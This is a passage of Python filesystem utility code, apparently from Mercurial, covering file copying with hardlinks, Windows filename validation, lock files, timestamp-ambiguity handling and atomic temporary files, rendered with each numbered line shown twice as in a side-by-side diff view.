1717 if os.path.lexists(dest):
1717 if os.path.lexists(dest):
1718 if checkambig:
1718 if checkambig:
1719 oldstat = checkambig and filestat.frompath(dest)
1719 oldstat = checkambig and filestat.frompath(dest)
1720 unlink(dest)
1720 unlink(dest)
1721 if hardlink:
1721 if hardlink:
1722 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1722 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1723 # unless we are confident that dest is on a whitelisted filesystem.
1723 # unless we are confident that dest is on a whitelisted filesystem.
1724 try:
1724 try:
1725 fstype = getfstype(os.path.dirname(dest))
1725 fstype = getfstype(os.path.dirname(dest))
1726 except OSError:
1726 except OSError:
1727 fstype = None
1727 fstype = None
1728 if fstype not in _hardlinkfswhitelist:
1728 if fstype not in _hardlinkfswhitelist:
1729 hardlink = False
1729 hardlink = False
1730 if hardlink:
1730 if hardlink:
1731 try:
1731 try:
1732 oslink(src, dest)
1732 oslink(src, dest)
1733 return
1733 return
1734 except (IOError, OSError):
1734 except (IOError, OSError):
1735 pass # fall back to normal copy
1735 pass # fall back to normal copy
1736 if os.path.islink(src):
1736 if os.path.islink(src):
1737 os.symlink(os.readlink(src), dest)
1737 os.symlink(os.readlink(src), dest)
1738 # copytime is ignored for symlinks, but in general copytime isn't needed
1738 # copytime is ignored for symlinks, but in general copytime isn't needed
1739 # for them anyway
1739 # for them anyway
1740 else:
1740 else:
1741 try:
1741 try:
1742 shutil.copyfile(src, dest)
1742 shutil.copyfile(src, dest)
1743 if copystat:
1743 if copystat:
1744 # copystat also copies mode
1744 # copystat also copies mode
1745 shutil.copystat(src, dest)
1745 shutil.copystat(src, dest)
1746 else:
1746 else:
1747 shutil.copymode(src, dest)
1747 shutil.copymode(src, dest)
1748 if oldstat and oldstat.stat:
1748 if oldstat and oldstat.stat:
1749 newstat = filestat.frompath(dest)
1749 newstat = filestat.frompath(dest)
1750 if newstat.isambig(oldstat):
1750 if newstat.isambig(oldstat):
1751 # stat of copied file is ambiguous to original one
1751 # stat of copied file is ambiguous to original one
1752 advanced = (
1752 advanced = (
1753 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1753 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1754 os.utime(dest, (advanced, advanced))
1754 os.utime(dest, (advanced, advanced))
1755 except shutil.Error as inst:
1755 except shutil.Error as inst:
1756 raise error.Abort(str(inst))
1756 raise error.Abort(str(inst))
1757
1757
1758 def copyfiles(src, dst, hardlink=None, progress=None):
1758 def copyfiles(src, dst, hardlink=None, progress=None):
1759 """Copy a directory tree using hardlinks if possible."""
1759 """Copy a directory tree using hardlinks if possible."""
1760 num = 0
1760 num = 0
1761
1761
1762 def settopic():
1762 def settopic():
1763 if progress:
1763 if progress:
1764 progress.topic = _('linking') if hardlink else _('copying')
1764 progress.topic = _('linking') if hardlink else _('copying')
1765
1765
1766 if os.path.isdir(src):
1766 if os.path.isdir(src):
1767 if hardlink is None:
1767 if hardlink is None:
1768 hardlink = (os.stat(src).st_dev ==
1768 hardlink = (os.stat(src).st_dev ==
1769 os.stat(os.path.dirname(dst)).st_dev)
1769 os.stat(os.path.dirname(dst)).st_dev)
1770 settopic()
1770 settopic()
1771 os.mkdir(dst)
1771 os.mkdir(dst)
1772 for name, kind in listdir(src):
1772 for name, kind in listdir(src):
1773 srcname = os.path.join(src, name)
1773 srcname = os.path.join(src, name)
1774 dstname = os.path.join(dst, name)
1774 dstname = os.path.join(dst, name)
1775 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1775 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1776 num += n
1776 num += n
1777 else:
1777 else:
1778 if hardlink is None:
1778 if hardlink is None:
1779 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1779 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1780 os.stat(os.path.dirname(dst)).st_dev)
1780 os.stat(os.path.dirname(dst)).st_dev)
1781 settopic()
1781 settopic()
1782
1782
1783 if hardlink:
1783 if hardlink:
1784 try:
1784 try:
1785 oslink(src, dst)
1785 oslink(src, dst)
1786 except (IOError, OSError):
1786 except (IOError, OSError):
1787 hardlink = False
1787 hardlink = False
1788 shutil.copy(src, dst)
1788 shutil.copy(src, dst)
1789 else:
1789 else:
1790 shutil.copy(src, dst)
1790 shutil.copy(src, dst)
1791 num += 1
1791 num += 1
1792 if progress:
1792 if progress:
1793 progress.increment()
1793 progress.increment()
1794
1794
1795 return hardlink, num
1795 return hardlink, num
1796
1796
1797 _winreservednames = {
1797 _winreservednames = {
1798 'con', 'prn', 'aux', 'nul',
1798 'con', 'prn', 'aux', 'nul',
1799 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1799 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1800 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1800 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1801 }
1801 }
1802 _winreservedchars = ':*?"<>|'
1802 _winreservedchars = ':*?"<>|'
1803 def checkwinfilename(path):
1803 def checkwinfilename(path):
1804 r'''Check that the base-relative path is a valid filename on Windows.
1804 r'''Check that the base-relative path is a valid filename on Windows.
1805 Returns None if the path is ok, or a UI string describing the problem.
1805 Returns None if the path is ok, or a UI string describing the problem.
1806
1806
1807 >>> checkwinfilename(b"just/a/normal/path")
1807 >>> checkwinfilename(b"just/a/normal/path")
1808 >>> checkwinfilename(b"foo/bar/con.xml")
1808 >>> checkwinfilename(b"foo/bar/con.xml")
1809 "filename contains 'con', which is reserved on Windows"
1809 "filename contains 'con', which is reserved on Windows"
1810 >>> checkwinfilename(b"foo/con.xml/bar")
1810 >>> checkwinfilename(b"foo/con.xml/bar")
1811 "filename contains 'con', which is reserved on Windows"
1811 "filename contains 'con', which is reserved on Windows"
1812 >>> checkwinfilename(b"foo/bar/xml.con")
1812 >>> checkwinfilename(b"foo/bar/xml.con")
1813 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1813 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1814 "filename contains 'AUX', which is reserved on Windows"
1814 "filename contains 'AUX', which is reserved on Windows"
1815 >>> checkwinfilename(b"foo/bar/bla:.txt")
1815 >>> checkwinfilename(b"foo/bar/bla:.txt")
1816 "filename contains ':', which is reserved on Windows"
1816 "filename contains ':', which is reserved on Windows"
1817 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1817 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1818 "filename contains '\\x07', which is invalid on Windows"
1818 "filename contains '\\x07', which is invalid on Windows"
1819 >>> checkwinfilename(b"foo/bar/bla ")
1819 >>> checkwinfilename(b"foo/bar/bla ")
1820 "filename ends with ' ', which is not allowed on Windows"
1820 "filename ends with ' ', which is not allowed on Windows"
1821 >>> checkwinfilename(b"../bar")
1821 >>> checkwinfilename(b"../bar")
1822 >>> checkwinfilename(b"foo\\")
1822 >>> checkwinfilename(b"foo\\")
1823 "filename ends with '\\', which is invalid on Windows"
1823 "filename ends with '\\', which is invalid on Windows"
1824 >>> checkwinfilename(b"foo\\/bar")
1824 >>> checkwinfilename(b"foo\\/bar")
1825 "directory name ends with '\\', which is invalid on Windows"
1825 "directory name ends with '\\', which is invalid on Windows"
1826 '''
1826 '''
1827 if path.endswith('\\'):
1827 if path.endswith('\\'):
1828 return _("filename ends with '\\', which is invalid on Windows")
1828 return _("filename ends with '\\', which is invalid on Windows")
1829 if '\\/' in path:
1829 if '\\/' in path:
1830 return _("directory name ends with '\\', which is invalid on Windows")
1830 return _("directory name ends with '\\', which is invalid on Windows")
1831 for n in path.replace('\\', '/').split('/'):
1831 for n in path.replace('\\', '/').split('/'):
1832 if not n:
1832 if not n:
1833 continue
1833 continue
1834 for c in _filenamebytestr(n):
1834 for c in _filenamebytestr(n):
1835 if c in _winreservedchars:
1835 if c in _winreservedchars:
1836 return _("filename contains '%s', which is reserved "
1836 return _("filename contains '%s', which is reserved "
1837 "on Windows") % c
1837 "on Windows") % c
1838 if ord(c) <= 31:
1838 if ord(c) <= 31:
1839 return _("filename contains '%s', which is invalid "
1839 return _("filename contains '%s', which is invalid "
1840 "on Windows") % stringutil.escapestr(c)
1840 "on Windows") % stringutil.escapestr(c)
1841 base = n.split('.')[0]
1841 base = n.split('.')[0]
1842 if base and base.lower() in _winreservednames:
1842 if base and base.lower() in _winreservednames:
1843 return _("filename contains '%s', which is reserved "
1843 return _("filename contains '%s', which is reserved "
1844 "on Windows") % base
1844 "on Windows") % base
1845 t = n[-1:]
1845 t = n[-1:]
1846 if t in '. ' and n not in '..':
1846 if t in '. ' and n not in '..':
1847 return _("filename ends with '%s', which is not allowed "
1847 return _("filename ends with '%s', which is not allowed "
1848 "on Windows") % t
1848 "on Windows") % t
1849
1849
1850 if pycompat.iswindows:
1850 if pycompat.iswindows:
1851 checkosfilename = checkwinfilename
1851 checkosfilename = checkwinfilename
1852 timer = time.clock
1852 timer = time.clock
1853 else:
1853 else:
1854 checkosfilename = platform.checkosfilename
1854 checkosfilename = platform.checkosfilename
1855 timer = time.time
1855 timer = time.time
1856
1856
1857 if safehasattr(time, "perf_counter"):
1857 if safehasattr(time, "perf_counter"):
1858 timer = time.perf_counter
1858 timer = time.perf_counter
1859
1859
1860 def makelock(info, pathname):
1860 def makelock(info, pathname):
1861 """Create a lock file atomically if possible
1861 """Create a lock file atomically if possible
1862
1862
1863 This may leave a stale lock file if symlink isn't supported and signal
1863 This may leave a stale lock file if symlink isn't supported and signal
1864 interrupt is enabled.
1864 interrupt is enabled.
1865 """
1865 """
1866 try:
1866 try:
1867 return os.symlink(info, pathname)
1867 return os.symlink(info, pathname)
1868 except OSError as why:
1868 except OSError as why:
1869 if why.errno == errno.EEXIST:
1869 if why.errno == errno.EEXIST:
1870 raise
1870 raise
1871 except AttributeError: # no symlink in os
1871 except AttributeError: # no symlink in os
1872 pass
1872 pass
1873
1873
1874 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1874 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1875 ld = os.open(pathname, flags)
1875 ld = os.open(pathname, flags)
1876 os.write(ld, info)
1876 os.write(ld, info)
1877 os.close(ld)
1877 os.close(ld)
1878
1878
1879 def readlock(pathname):
1879 def readlock(pathname):
1880 try:
1880 try:
1881 return readlink(pathname)
1881 return readlink(pathname)
1882 except OSError as why:
1882 except OSError as why:
1883 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1883 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1884 raise
1884 raise
1885 except AttributeError: # no symlink in os
1885 except AttributeError: # no symlink in os
1886 pass
1886 pass
1887 with posixfile(pathname, 'rb') as fp:
1887 with posixfile(pathname, 'rb') as fp:
1888 return fp.read()
1888 return fp.read()
1889
1889
1890 def fstat(fp):
1890 def fstat(fp):
1891 '''stat file object that may not have fileno method.'''
1891 '''stat file object that may not have fileno method.'''
1892 try:
1892 try:
1893 return os.fstat(fp.fileno())
1893 return os.fstat(fp.fileno())
1894 except AttributeError:
1894 except AttributeError:
1895 return os.stat(fp.name)
1895 return os.stat(fp.name)
1896
1896
1897 # File system features
1897 # File system features
1898
1898
1899 def fscasesensitive(path):
1899 def fscasesensitive(path):
1900 """
1900 """
1901 Return true if the given path is on a case-sensitive filesystem
1901 Return true if the given path is on a case-sensitive filesystem
1902
1902
1903 Requires a path (like /foo/.hg) ending with a foldable final
1903 Requires a path (like /foo/.hg) ending with a foldable final
1904 directory component.
1904 directory component.
1905 """
1905 """
1906 s1 = os.lstat(path)
1906 s1 = os.lstat(path)
1907 d, b = os.path.split(path)
1907 d, b = os.path.split(path)
1908 b2 = b.upper()
1908 b2 = b.upper()
1909 if b == b2:
1909 if b == b2:
1910 b2 = b.lower()
1910 b2 = b.lower()
1911 if b == b2:
1911 if b == b2:
1912 return True # no evidence against case sensitivity
1912 return True # no evidence against case sensitivity
1913 p2 = os.path.join(d, b2)
1913 p2 = os.path.join(d, b2)
1914 try:
1914 try:
1915 s2 = os.lstat(p2)
1915 s2 = os.lstat(p2)
1916 if s2 == s1:
1916 if s2 == s1:
1917 return False
1917 return False
1918 return True
1918 return True
1919 except OSError:
1919 except OSError:
1920 return True
1920 return True
1921
1921
1922 try:
1922 try:
1923 import re2
1923 import re2
1924 _re2 = None
1924 _re2 = None
1925 except ImportError:
1925 except ImportError:
1926 _re2 = False
1926 _re2 = False
1927
1927
1928 class _re(object):
1928 class _re(object):
1929 def _checkre2(self):
1929 def _checkre2(self):
1930 global _re2
1930 global _re2
1931 try:
1931 try:
1932 # check if match works, see issue3964
1932 # check if match works, see issue3964
1933 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1933 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1934 except ImportError:
1934 except ImportError:
1935 _re2 = False
1935 _re2 = False
1936
1936
1937 def compile(self, pat, flags=0):
1937 def compile(self, pat, flags=0):
1938 '''Compile a regular expression, using re2 if possible
1938 '''Compile a regular expression, using re2 if possible
1939
1939
1940 For best performance, use only re2-compatible regexp features. The
1940 For best performance, use only re2-compatible regexp features. The
1941 only flags from the re module that are re2-compatible are
1941 only flags from the re module that are re2-compatible are
1942 IGNORECASE and MULTILINE.'''
1942 IGNORECASE and MULTILINE.'''
1943 if _re2 is None:
1943 if _re2 is None:
1944 self._checkre2()
1944 self._checkre2()
1945 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1945 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1946 if flags & remod.IGNORECASE:
1946 if flags & remod.IGNORECASE:
1947 pat = '(?i)' + pat
1947 pat = '(?i)' + pat
1948 if flags & remod.MULTILINE:
1948 if flags & remod.MULTILINE:
1949 pat = '(?m)' + pat
1949 pat = '(?m)' + pat
1950 try:
1950 try:
1951 return re2.compile(pat)
1951 return re2.compile(pat)
1952 except re2.error:
1952 except re2.error:
1953 pass
1953 pass
1954 return remod.compile(pat, flags)
1954 return remod.compile(pat, flags)
1955
1955
1956 @propertycache
1956 @propertycache
1957 def escape(self):
1957 def escape(self):
1958 '''Return the version of escape corresponding to self.compile.
1958 '''Return the version of escape corresponding to self.compile.
1959
1959
1960 This is imperfect because whether re2 or re is used for a particular
1960 This is imperfect because whether re2 or re is used for a particular
1961 function depends on the flags, etc, but it's the best we can do.
1961 function depends on the flags, etc, but it's the best we can do.
1962 '''
1962 '''
1963 global _re2
1963 global _re2
1964 if _re2 is None:
1964 if _re2 is None:
1965 self._checkre2()
1965 self._checkre2()
1966 if _re2:
1966 if _re2:
1967 return re2.escape
1967 return re2.escape
1968 else:
1968 else:
1969 return remod.escape
1969 return remod.escape
1970
1970
1971 re = _re()
1971 re = _re()
1972
1972
1973 _fspathcache = {}
1973 _fspathcache = {}
1974 def fspath(name, root):
1974 def fspath(name, root):
1975 '''Get name in the case stored in the filesystem
1975 '''Get name in the case stored in the filesystem
1976
1976
1977 The name should be relative to root, and be normcase-ed for efficiency.
1977 The name should be relative to root, and be normcase-ed for efficiency.
1978
1978
1979 Note that this function is unnecessary, and should not be
1979 Note that this function is unnecessary, and should not be
1980 called, for case-sensitive filesystems (simply because it's expensive).
1980 called, for case-sensitive filesystems (simply because it's expensive).
1981
1981
1982 The root should be normcase-ed, too.
1982 The root should be normcase-ed, too.
1983 '''
1983 '''
1984 def _makefspathcacheentry(dir):
1984 def _makefspathcacheentry(dir):
1985 return dict((normcase(n), n) for n in os.listdir(dir))
1985 return dict((normcase(n), n) for n in os.listdir(dir))
1986
1986
1987 seps = pycompat.ossep
1987 seps = pycompat.ossep
1988 if pycompat.osaltsep:
1988 if pycompat.osaltsep:
1989 seps = seps + pycompat.osaltsep
1989 seps = seps + pycompat.osaltsep
1990 # Protect backslashes. This gets silly very quickly.
1990 # Protect backslashes. This gets silly very quickly.
1991 seps.replace('\\','\\\\')
1991 seps.replace('\\','\\\\')
1992 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1992 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1993 dir = os.path.normpath(root)
1993 dir = os.path.normpath(root)
1994 result = []
1994 result = []
1995 for part, sep in pattern.findall(name):
1995 for part, sep in pattern.findall(name):
1996 if sep:
1996 if sep:
1997 result.append(sep)
1997 result.append(sep)
1998 continue
1998 continue
1999
1999
2000 if dir not in _fspathcache:
2000 if dir not in _fspathcache:
2001 _fspathcache[dir] = _makefspathcacheentry(dir)
2001 _fspathcache[dir] = _makefspathcacheentry(dir)
2002 contents = _fspathcache[dir]
2002 contents = _fspathcache[dir]
2003
2003
2004 found = contents.get(part)
2004 found = contents.get(part)
2005 if not found:
2005 if not found:
2006 # retry "once per directory" per "dirstate.walk" which
2006 # retry "once per directory" per "dirstate.walk" which
2007 # may take place for each patches of "hg qpush", for example
2007 # may take place for each patches of "hg qpush", for example
2008 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2008 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2009 found = contents.get(part)
2009 found = contents.get(part)
2010
2010
2011 result.append(found or part)
2011 result.append(found or part)
2012 dir = os.path.join(dir, part)
2012 dir = os.path.join(dir, part)
2013
2013
2014 return ''.join(result)
2014 return ''.join(result)
2015
2015
2016 def checknlink(testfile):
2016 def checknlink(testfile):
2017 '''check whether hardlink count reporting works properly'''
2017 '''check whether hardlink count reporting works properly'''
2018
2018
2019 # testfile may be open, so we need a separate file for checking to
2019 # testfile may be open, so we need a separate file for checking to
2020 # work around issue2543 (or testfile may get lost on Samba shares)
2020 # work around issue2543 (or testfile may get lost on Samba shares)
2021 f1, f2, fp = None, None, None
2021 f1, f2, fp = None, None, None
2022 try:
2022 try:
2023 fd, f1 = pycompat.mkstemp(prefix='.%s-' % os.path.basename(testfile),
2023 fd, f1 = pycompat.mkstemp(prefix='.%s-' % os.path.basename(testfile),
2024 suffix='1~', dir=os.path.dirname(testfile))
2024 suffix='1~', dir=os.path.dirname(testfile))
2025 os.close(fd)
2025 os.close(fd)
2026 f2 = '%s2~' % f1[:-2]
2026 f2 = '%s2~' % f1[:-2]
2027
2027
2028 oslink(f1, f2)
2028 oslink(f1, f2)
2029 # nlinks() may behave differently for files on Windows shares if
2029 # nlinks() may behave differently for files on Windows shares if
2030 # the file is open.
2030 # the file is open.
2031 fp = posixfile(f2)
2031 fp = posixfile(f2)
2032 return nlinks(f2) > 1
2032 return nlinks(f2) > 1
2033 except OSError:
2033 except OSError:
2034 return False
2034 return False
2035 finally:
2035 finally:
2036 if fp is not None:
2036 if fp is not None:
2037 fp.close()
2037 fp.close()
2038 for f in (f1, f2):
2038 for f in (f1, f2):
2039 try:
2039 try:
2040 if f is not None:
2040 if f is not None:
2041 os.unlink(f)
2041 os.unlink(f)
2042 except OSError:
2042 except OSError:
2043 pass
2043 pass
2044
2044
2045 def endswithsep(path):
2045 def endswithsep(path):
2046 '''Check path ends with os.sep or os.altsep.'''
2046 '''Check path ends with os.sep or os.altsep.'''
2047 return (path.endswith(pycompat.ossep)
2047 return (path.endswith(pycompat.ossep)
2048 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
2048 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
2049
2049
2050 def splitpath(path):
2050 def splitpath(path):
2051 '''Split path by os.sep.
2051 '''Split path by os.sep.
2052 Note that this function does not use os.altsep because this is
2052 Note that this function does not use os.altsep because this is
2053 an alternative of simple "xxx.split(os.sep)".
2053 an alternative of simple "xxx.split(os.sep)".
2054 It is recommended to use os.path.normpath() before using this
2054 It is recommended to use os.path.normpath() before using this
2055 function if need.'''
2055 function if need.'''
2056 return path.split(pycompat.ossep)
2056 return path.split(pycompat.ossep)
2057
2057
2058 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2058 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2059 """Create a temporary file with the same contents from name
2059 """Create a temporary file with the same contents from name
2060
2060
2061 The permission bits are copied from the original file.
2061 The permission bits are copied from the original file.
2062
2062
2063 If the temporary file is going to be truncated immediately, you
2063 If the temporary file is going to be truncated immediately, you
2064 can use emptyok=True as an optimization.
2064 can use emptyok=True as an optimization.
2065
2065
2066 Returns the name of the temporary file.
2066 Returns the name of the temporary file.
2067 """
2067 """
2068 d, fn = os.path.split(name)
2068 d, fn = os.path.split(name)
2069 fd, temp = pycompat.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
2069 fd, temp = pycompat.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
2070 os.close(fd)
2070 os.close(fd)
2071 # Temporary files are created with mode 0600, which is usually not
2071 # Temporary files are created with mode 0600, which is usually not
2072 # what we want. If the original file already exists, just copy
2072 # what we want. If the original file already exists, just copy
2073 # its mode. Otherwise, manually obey umask.
2073 # its mode. Otherwise, manually obey umask.
2074 copymode(name, temp, createmode, enforcewritable)
2074 copymode(name, temp, createmode, enforcewritable)
2075
2075
2076 if emptyok:
2076 if emptyok:
2077 return temp
2077 return temp
2078 try:
2078 try:
2079 try:
2079 try:
2080 ifp = posixfile(name, "rb")
2080 ifp = posixfile(name, "rb")
2081 except IOError as inst:
2081 except IOError as inst:
2082 if inst.errno == errno.ENOENT:
2082 if inst.errno == errno.ENOENT:
2083 return temp
2083 return temp
2084 if not getattr(inst, 'filename', None):
2084 if not getattr(inst, 'filename', None):
2085 inst.filename = name
2085 inst.filename = name
2086 raise
2086 raise
2087 ofp = posixfile(temp, "wb")
2087 ofp = posixfile(temp, "wb")
2088 for chunk in filechunkiter(ifp):
2088 for chunk in filechunkiter(ifp):
2089 ofp.write(chunk)
2089 ofp.write(chunk)
2090 ifp.close()
2090 ifp.close()
2091 ofp.close()
2091 ofp.close()
2092 except: # re-raises
2092 except: # re-raises
2093 try:
2093 try:
2094 os.unlink(temp)
2094 os.unlink(temp)
2095 except OSError:
2095 except OSError:
2096 pass
2096 pass
2097 raise
2097 raise
2098 return temp
2098 return temp
2099
2099
2100 class filestat(object):
2100 class filestat(object):
2101 """help to exactly detect change of a file
2101 """help to exactly detect change of a file
2102
2102
2103 'stat' attribute is result of 'os.stat()' if specified 'path'
2103 'stat' attribute is result of 'os.stat()' if specified 'path'
2104 exists. Otherwise, it is None. This can avoid preparative
2104 exists. Otherwise, it is None. This can avoid preparative
2105 'exists()' examination on client side of this class.
2105 'exists()' examination on client side of this class.
2106 """
2106 """
2107 def __init__(self, stat):
2107 def __init__(self, stat):
2108 self.stat = stat
2108 self.stat = stat
2109
2109
2110 @classmethod
2110 @classmethod
2111 def frompath(cls, path):
2111 def frompath(cls, path):
2112 try:
2112 try:
2113 stat = os.stat(path)
2113 stat = os.stat(path)
2114 except OSError as err:
2114 except OSError as err:
2115 if err.errno != errno.ENOENT:
2115 if err.errno != errno.ENOENT:
2116 raise
2116 raise
2117 stat = None
2117 stat = None
2118 return cls(stat)
2118 return cls(stat)
2119
2119
2120 @classmethod
2120 @classmethod
2121 def fromfp(cls, fp):
2121 def fromfp(cls, fp):
2122 stat = os.fstat(fp.fileno())
2122 stat = os.fstat(fp.fileno())
2123 return cls(stat)
2123 return cls(stat)
2124
2124
2125 __hash__ = object.__hash__
2125 __hash__ = object.__hash__
2126
2126
2127 def __eq__(self, old):
2127 def __eq__(self, old):
2128 try:
2128 try:
2129 # if ambiguity between stat of new and old file is
2129 # if ambiguity between stat of new and old file is
2130 # avoided, comparison of size, ctime and mtime is enough
2130 # avoided, comparison of size, ctime and mtime is enough
2131 # to exactly detect change of a file regardless of platform
2131 # to exactly detect change of a file regardless of platform
2132 return (self.stat.st_size == old.stat.st_size and
2132 return (self.stat.st_size == old.stat.st_size and
2133 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
2133 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
2134 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
2134 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
2135 except AttributeError:
2135 except AttributeError:
2136 pass
2136 pass
2137 try:
2137 try:
2138 return self.stat is None and old.stat is None
2138 return self.stat is None and old.stat is None
2139 except AttributeError:
2139 except AttributeError:
2140 return False
2140 return False
2141
2141
2142 def isambig(self, old):
2142 def isambig(self, old):
2143 """Examine whether new (= self) stat is ambiguous against old one
2143 """Examine whether new (= self) stat is ambiguous against old one
2144
2144
2145 "S[N]" below means stat of a file at N-th change:
2145 "S[N]" below means stat of a file at N-th change:
2146
2146
2147 - S[n-1].ctime < S[n].ctime: can detect change of a file
2147 - S[n-1].ctime < S[n].ctime: can detect change of a file
2148 - S[n-1].ctime == S[n].ctime
2148 - S[n-1].ctime == S[n].ctime
2149 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2149 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2150 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2150 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2151 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2151 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2152 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2152 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2153
2153
2154 Case (*2) above means that a file was changed twice or more at
2154 Case (*2) above means that a file was changed twice or more at
2155 same time in sec (= S[n-1].ctime), and comparison of timestamp
2155 same time in sec (= S[n-1].ctime), and comparison of timestamp
2156 is ambiguous.
2156 is ambiguous.
2157
2157
2158 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2158 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2159 timestamp is ambiguous".
2159 timestamp is ambiguous".
2160
2160
2161 But advancing mtime only in case (*2) doesn't work as
2161 But advancing mtime only in case (*2) doesn't work as
2162 expected, because naturally advanced S[n].mtime in case (*1)
2162 expected, because naturally advanced S[n].mtime in case (*1)
2163 might be equal to manually advanced S[n-1 or earlier].mtime.
2163 might be equal to manually advanced S[n-1 or earlier].mtime.
2164
2164
2165 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2165 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2166 treated as ambiguous regardless of mtime, to avoid overlooking
2166 treated as ambiguous regardless of mtime, to avoid overlooking
2167 by confliction between such mtime.
2167 by confliction between such mtime.
2168
2168
2169 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2169 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2170 S[n].mtime", even if size of a file isn't changed.
2170 S[n].mtime", even if size of a file isn't changed.
2171 """
2171 """
2172 try:
2172 try:
2173 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2173 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2174 except AttributeError:
2174 except AttributeError:
2175 return False
2175 return False
2176
2176
2177 def avoidambig(self, path, old):
2177 def avoidambig(self, path, old):
2178 """Change file stat of specified path to avoid ambiguity
2178 """Change file stat of specified path to avoid ambiguity
2179
2179
2180 'old' should be previous filestat of 'path'.
2180 'old' should be previous filestat of 'path'.
2181
2181
2182 This skips avoiding ambiguity, if a process doesn't have
2182 This skips avoiding ambiguity, if a process doesn't have
2183 appropriate privileges for 'path'. This returns False in this
2183 appropriate privileges for 'path'. This returns False in this
2184 case.
2184 case.
2185
2185
2186 Otherwise, this returns True, as "ambiguity is avoided".
2186 Otherwise, this returns True, as "ambiguity is avoided".
2187 """
2187 """
2188 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2188 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2189 try:
2189 try:
2190 os.utime(path, (advanced, advanced))
2190 os.utime(path, (advanced, advanced))
2191 except OSError as inst:
2191 except OSError as inst:
2192 if inst.errno == errno.EPERM:
2192 if inst.errno == errno.EPERM:
2193 # utime() on the file created by another user causes EPERM,
2193 # utime() on the file created by another user causes EPERM,
2194 # if a process doesn't have appropriate privileges
2194 # if a process doesn't have appropriate privileges
2195 return False
2195 return False
2196 raise
2196 raise
2197 return True
2197 return True
2198
2198
2199 def __ne__(self, other):
2199 def __ne__(self, other):
2200 return not self == other
2200 return not self == other
2201
2201
2202 class atomictempfile(object):
2202 class atomictempfile(object):
2203 '''writable file object that atomically updates a file
2203 '''writable file object that atomically updates a file
2204
2204
2205 All writes will go to a temporary copy of the original file. Call
2205 All writes will go to a temporary copy of the original file. Call
2206 close() when you are done writing, and atomictempfile will rename
2206 close() when you are done writing, and atomictempfile will rename
2207 the temporary copy to the original name, making the changes
2207 the temporary copy to the original name, making the changes
2208 visible. If the object is destroyed without being closed, all your
2208 visible. If the object is destroyed without being closed, all your
2209 writes are discarded.
2209 writes are discarded.
2210
2210
2211 checkambig argument of constructor is used with filestat, and is
2211 checkambig argument of constructor is used with filestat, and is
2212 useful only if target file is guarded by any lock (e.g. repo.lock
2212 useful only if target file is guarded by any lock (e.g. repo.lock
2213 or repo.wlock).
2213 or repo.wlock).
2214 '''
2214 '''
2215 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2215 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2216 self.__name = name # permanent name
2216 self.__name = name # permanent name
2217 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2217 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2218 createmode=createmode,
2218 createmode=createmode,
2219 enforcewritable=('w' in mode))
2219 enforcewritable=('w' in mode))
2220
2220
